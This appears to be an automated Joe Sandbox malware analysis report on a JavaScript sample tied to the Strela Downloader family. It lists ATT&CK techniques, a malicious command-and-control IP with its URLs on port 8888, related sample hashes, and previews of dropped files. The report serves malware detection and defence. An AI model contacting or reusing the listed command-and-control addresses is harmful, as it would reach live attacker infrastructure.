Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/h	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/pace	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/h	net.exe, 00000007.00000002.1478947124.000001620D44C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1477771186.000001620D44C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2711541768.00000163A4C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1479526011.00000163A4A70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.1478868447.000001620D408000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1477771186.000001620D44C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1478868447.000001620D408000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1479155072.000001620D461000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587552
Start date and time:	2025-01-10 14:47:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	382215884163542302.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 2.22.242.11, 2.22.242.123, 2.22.50.144, 2.22.50.131, 52.6.155.20, 52.149.20.212, 104.78.188.188, 172.202.163.200
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:48:07	API Interceptor	25x Sleep call for process: powershell.exe modified
08:48:11	API Interceptor	1x Sleep call for process: net.exe modified
08:48:12	API Interceptor	2x Sleep call for process: svchost.exe modified
08:48:19	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	random.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.210.172
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	CY SEC AUDIT PLAN 2025.docx.doc	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27311161302332319656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021919702674927
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAi:RJE+Lfki1GjHwU/+vVhWqp7
MD5:	673530E940425780E920193228570F53
SHA1:	FDADEF285ED67D6E9372115893730473E01AAB00
SHA-256:	97486B854EDAFC977EBD4F54957C9734A46593DE469A0B2F584656C43DB0B4F3
SHA-512:	C6F4CEE237498EF027110C036884FB3135D3048B9791575A8E83CAF7362F7C6B77E16EFFA8987B978C26AA05408FFA213A37EEBCA9A574EFF237C7AB2AC530A9
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xeb78faaa, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432973954847341
Encrypted:	false
SSDEEP:	1536:DSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:DazaHvxXy2V2UR
MD5:	821030D33AC3DDFFEF0530F3750984A9
SHA1:	D60BBA3582C9AF6124EC03E123CAC99E36A190D9
SHA-256:	1CFD7FD773DC7813431311DBA7C17C41C1AD67D803DAC90F9FD5F12E7F8ECC64
SHA-512:	9F7B36F1F1AA06C13D6FE832E2E1A27DD8BE4504F8FAF6F0A468CFD0E4F10DC10C2938D8F72545D12F0ABD5AF6C433616F7D7C6CF7151A4BB7C64973D3AEE730
Malicious:	false
Preview:	.x..... ...............X\...;...{......................0.x...... ...{s..0...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................8.p).0...}.................v."!.0...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08111785894794812
Encrypted:	false
SSDEEP:	3:0tEYeeCvlvll/nqlFcl1ZUllllEkYsillGBnX/l/Tj/k7/t:06zBll/qlFclQ/lSRsG254
MD5:	604DA739903A75D7EBF3595525FFED28
SHA1:	08814A6582DF8450043D1AF7C37BAF3675EADA2D
SHA-256:	5E4F3CC2354284A047C978229E288FB8F14D09D511A36855F9B2B4A59A73EEBC
SHA-512:	BE732C0BDA96C547F496EA7E5458D6A77C53E1644EA47527E6A33F7F1819FAB002FBB1D580CF63BC8AB60BC56B07BDA4DF060E20D2C3F0C44BF908301F86347C
Malicious:	false
Preview:	.T@......................................;...{...0...}... ...{s.......... ...{s.. ...{s.P.... ...{s.................v."!.0...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.162992270404983
Encrypted:	false
SSDEEP:	6:iO4odDwq2PCHhJ2nKuAl9OmbnIFUtSodDuTZmwsodDuJkwOCHhJ2nKuAl9OmbjLJ:7vRwvBHAahFUtRRuT/7RuJ56HAaSJ
MD5:	5F3CC1947E794EEC377EDC0C257584CA
SHA1:	ACAA78A92424F4943CEF35ADB94ADCBEC19E841C
SHA-256:	A2980F36E4E13C7763DF3083E75E146C8913D2FA813DC9F8D2A9FA48E9877165
SHA-512:	A9453C99B2BEAB1C103D3FA852CAF1B891B41A39C90F0725D4C7CDEB31590AB4FDF86E4A1E9946128FDBC867F02D70C33C4A96ACFDB79A72898A6BDEECA6A249
Malicious:	false
Preview:	2025/01/10-08:48:11.839 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:48:11.841 1c84 Recovering log #3.2025/01/10-08:48:11.841 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.162992270404983
Encrypted:	false
SSDEEP:	6:iO4odDwq2PCHhJ2nKuAl9OmbnIFUtSodDuTZmwsodDuJkwOCHhJ2nKuAl9OmbjLJ:7vRwvBHAahFUtRRuT/7RuJ56HAaSJ
MD5:	5F3CC1947E794EEC377EDC0C257584CA
SHA1:	ACAA78A92424F4943CEF35ADB94ADCBEC19E841C
SHA-256:	A2980F36E4E13C7763DF3083E75E146C8913D2FA813DC9F8D2A9FA48E9877165
SHA-512:	A9453C99B2BEAB1C103D3FA852CAF1B891B41A39C90F0725D4C7CDEB31590AB4FDF86E4A1E9946128FDBC867F02D70C33C4A96ACFDB79A72898A6BDEECA6A249
Malicious:	false
Preview:	2025/01/10-08:48:11.839 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:48:11.841 1c84 Recovering log #3.2025/01/10-08:48:11.841 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.202338750164923
Encrypted:	false
SSDEEP:	6:iO4odDHAq2PCHhJ2nKuAl9Ombzo2jMGIFUtSodDWPZmwsodDNDkwOCHhJ2nKuAlx:7vRgvBHAa8uFUtRRA/7RF56HAa8RJ
MD5:	F013BAA3E651EDEA3624ED770D0648F4
SHA1:	50A3250EC147D035850798D2630C37DC95B4EE04
SHA-256:	788B61DFD50809763DD6364E6CE84AD4672835C45FBC6FEA1440F3CD554500BC
SHA-512:	DC8B45D54A24B46A53224C89F499547EB3A937DDBE976C4F25AE7BB3A4939CAAB3312622F1334A9D8D579D22F4ABE53C724633777543F491A6DA7E2CB4FD6ABF
Malicious:	false
Preview:	2025/01/10-08:48:11.952 730 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:48:11.953 730 Recovering log #3.2025/01/10-08:48:11.954 730 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.202338750164923
Encrypted:	false
SSDEEP:	6:iO4odDHAq2PCHhJ2nKuAl9Ombzo2jMGIFUtSodDWPZmwsodDNDkwOCHhJ2nKuAlx:7vRgvBHAa8uFUtRRA/7RF56HAa8RJ
MD5:	F013BAA3E651EDEA3624ED770D0648F4
SHA1:	50A3250EC147D035850798D2630C37DC95B4EE04
SHA-256:	788B61DFD50809763DD6364E6CE84AD4672835C45FBC6FEA1440F3CD554500BC
SHA-512:	DC8B45D54A24B46A53224C89F499547EB3A937DDBE976C4F25AE7BB3A4939CAAB3312622F1334A9D8D579D22F4ABE53C724633777543F491A6DA7E2CB4FD6ABF
Malicious:	false
Preview:	2025/01/10-08:48:11.952 730 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:48:11.953 730 Recovering log #3.2025/01/10-08:48:11.954 730 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7ba58809-839c-4cf8-a045-7d6d9e063227.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.968694759048396
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqepyhsBdOg2HAcaq3QYiub6P7E4T3y:Y2sRds6ydMHr3QYhbS7nby
MD5:	14695ED6FF2DCBFED30C9A2FAA889A3E
SHA1:	7A2D951F97571EB160A8626FAFBDF0134D79FB3E
SHA-256:	AE6702B16025AEF1F91A7DB46CF9C889C71D08547EA025082BDFEA97CE703FEC
SHA-512:	88987B5611CDCB05E5279E08FAABE583D368CD6FFF6F145A1103699AB01FB3402E1D3EF0C67168EE423D651A83AC456BD059794DBD4B952134F1A258801127EB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381076903615646","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136734},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.968694759048396
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqepyhsBdOg2HAcaq3QYiub6P7E4T3y:Y2sRds6ydMHr3QYhbS7nby
MD5:	14695ED6FF2DCBFED30C9A2FAA889A3E
SHA1:	7A2D951F97571EB160A8626FAFBDF0134D79FB3E
SHA-256:	AE6702B16025AEF1F91A7DB46CF9C889C71D08547EA025082BDFEA97CE703FEC
SHA-512:	88987B5611CDCB05E5279E08FAABE583D368CD6FFF6F145A1103699AB01FB3402E1D3EF0C67168EE423D651A83AC456BD059794DBD4B952134F1A258801127EB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381076903615646","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136734},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.235021437084094
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+b356HOXSI:S43C4mS7fFi0KFYDjr3LWO3V3aw+b35b
MD5:	6947D87EFFB28B75FC50D30DB9F57747
SHA1:	B44B2E8D265DEF3E21496A73D413F5114078B8F9
SHA-256:	015AC2DF6BAA7983E8E028EAFA093A17433FC0CDC40159047FE7B1D358B4861B
SHA-512:	86964C225BB26C7BB7EE9C84A56C91B2EB2A39E48730760455F06D0867EC9B43B45AC8AA4FC3D967A6489C89864593C70725FE90585E48DBBEC13E74E0013987
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.160527483264891
Encrypted:	false
SSDEEP:	6:iO4odDNHFIq2PCHhJ2nKuAl9OmbzNMxIFUtSodDNuXZmwsodDNuFkwOCHhJ2nKuP:7vRBOvBHAa8jFUtRRwX/7RwF56HAa84J
MD5:	E13FA5BAFFF1C0CE3F9285BB78ABC101
SHA1:	8F603834757C8B53D853E52A7126C2175210740A
SHA-256:	CB17AAD9C1897EF38DA50F2DD96F5FDCD3AEA551252718E2576AC5035DA067B3
SHA-512:	71C1FC56CB68663A85A6EB00D7D4A1AD92E95541DBDAF4E48EFFCBD06AB7A0D1A0D51035CB800CB7C5EE4CE5BFA4F24C71537F039D1AC9EF6EEBBE74CA76F12B
Malicious:	false
Preview:	2025/01/10-08:48:12.120 730 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:48:12.121 730 Recovering log #3.2025/01/10-08:48:12.121 730 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.160527483264891
Encrypted:	false
SSDEEP:	6:iO4odDNHFIq2PCHhJ2nKuAl9OmbzNMxIFUtSodDNuXZmwsodDNuFkwOCHhJ2nKuP:7vRBOvBHAa8jFUtRRwX/7RwF56HAa84J
MD5:	E13FA5BAFFF1C0CE3F9285BB78ABC101
SHA1:	8F603834757C8B53D853E52A7126C2175210740A
SHA-256:	CB17AAD9C1897EF38DA50F2DD96F5FDCD3AEA551252718E2576AC5035DA067B3
SHA-512:	71C1FC56CB68663A85A6EB00D7D4A1AD92E95541DBDAF4E48EFFCBD06AB7A0D1A0D51035CB800CB7C5EE4CE5BFA4F24C71537F039D1AC9EF6EEBBE74CA76F12B
Malicious:	false
Preview:	2025/01/10-08:48:12.120 730 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:48:12.121 730 Recovering log #3.2025/01/10-08:48:12.121 730 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

